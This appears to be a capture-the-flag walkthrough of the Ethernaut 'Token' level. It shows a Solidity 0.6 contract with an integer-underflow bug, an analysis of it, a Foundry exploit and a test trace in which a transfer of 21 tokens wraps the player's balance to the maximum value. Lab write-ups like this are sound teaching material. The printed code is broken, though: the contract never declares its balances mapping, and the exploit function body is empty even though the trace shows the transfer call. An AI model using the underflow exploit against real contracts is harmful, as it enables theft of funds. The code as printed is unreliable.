# CTF walkthrough, Ethernaut, #6 Token

We start with the 20 tokens. To complete this challenge we need to get some more.

Here is the original Token contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
uint256 public totalSupply;

constructor(uint256 _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}


## Analysis

Let’s go line by line and see what we can come up with.

Firstly, let’s review the transfer function:

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}


In Solidity <0.8 integers overflow/underflow without error and arithmetic operations always wrap. In Solidity >=0.8 the compiler throws an error on over- and underflow thanks to built in overflow checking. The Token contract uses Solidity ^0.6.0, which means it is vulnerable to integer overflows/underflows.

require(balances[msg.sender] - _value >= 0);


This check doesn’t help given that the contract uses an unsigned integers for balances.

Let’s go over the part that does arithmetics:

balances[msg.sender] -= _value;
balances[_to] += _value;


We know that balances[player] equals 20. It means to overflow our balance we need to pass at least 21.

We use pragma solidity ^0.8.0 everywhere. To obtain the solidity <0.8 behavior, we have to slightly modify the code of this challenge and wrap arithmetics with the unchecked statement:

function transfer(address _to, uint256 _value) public returns (bool) {
unchecked {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
}
return true;
}


The exploit is simple:

function exploit() internal override {
vm.startPrank(player);
vm.stopPrank();
}


The trace:

\$ forge test --match-contract TokenTest -vvvv

Running 1 test for src/test/Token.t.sol:TokenTest
[PASS] testToken() (gas: 319929)
Traces:
[319929] TokenTest::testToken()
├─ [244552] TokenTest::create()
│   ├─ [0] VM::prank(player: [...])
│   │   └─ ← ()
│   ├─ [232204] Ethernaut::createLevelInstance(TokenFactory: [...])
│   │   ├─ [180641] TokenFactory::createInstance(player: [...])
│   │   │   ├─ [120540] → new Token@"0x037f…dd8f"
│   │   │   │   └─ ← 380 bytes of code
│   │   │   ├─ [22893] Token::transfer(player: [...], 20)
│   │   │   │   └─ ← true
│   │   │   └─ ← Token: [...]
│   │   ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: Token: [...])
│   │   └─ ← Token: [...]
│   └─ ← Token: [...]
├─ [0] VM::startPrank(player: [...])
│   └─ ← ()
├─ [22893] Token::transfer(0x0000000000000000000000000000000000000000, 21)
│   └─ ← true
├─ [0] VM::stopPrank()
│   └─ ← ()
├─ [0] VM::startPrank(player: [...])
│   └─ ← ()
├─ [4586] Ethernaut::submitLevelInstance(Token: [...])
│   ├─ [1539] TokenFactory::validateInstance(Token: [...], player: [...])
│   │   ├─ [529] Token::balanceOf(player: [...]) [staticcall]
│   │   │   └─ 115792089237316195423570985008687907853269984665640564039457584007913129639935
│   │   └─ ← true
│   ├─ emit LevelCompletedLog(player: player: [...], level: TokenFactory: [...])
│   └─ ← true
├─ [0] VM::stopPrank()
│   └─ ← ()
└─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 1.00ms


## Lessons learned

In Solidity <0.8 use SafeMath from OpenZeppelin, which provides wrappers over Solidity’s arithmetic operations.

## References

The full code is here. Let’s continue to the CTF walkthrough, Ethernaut, #7 Delegation!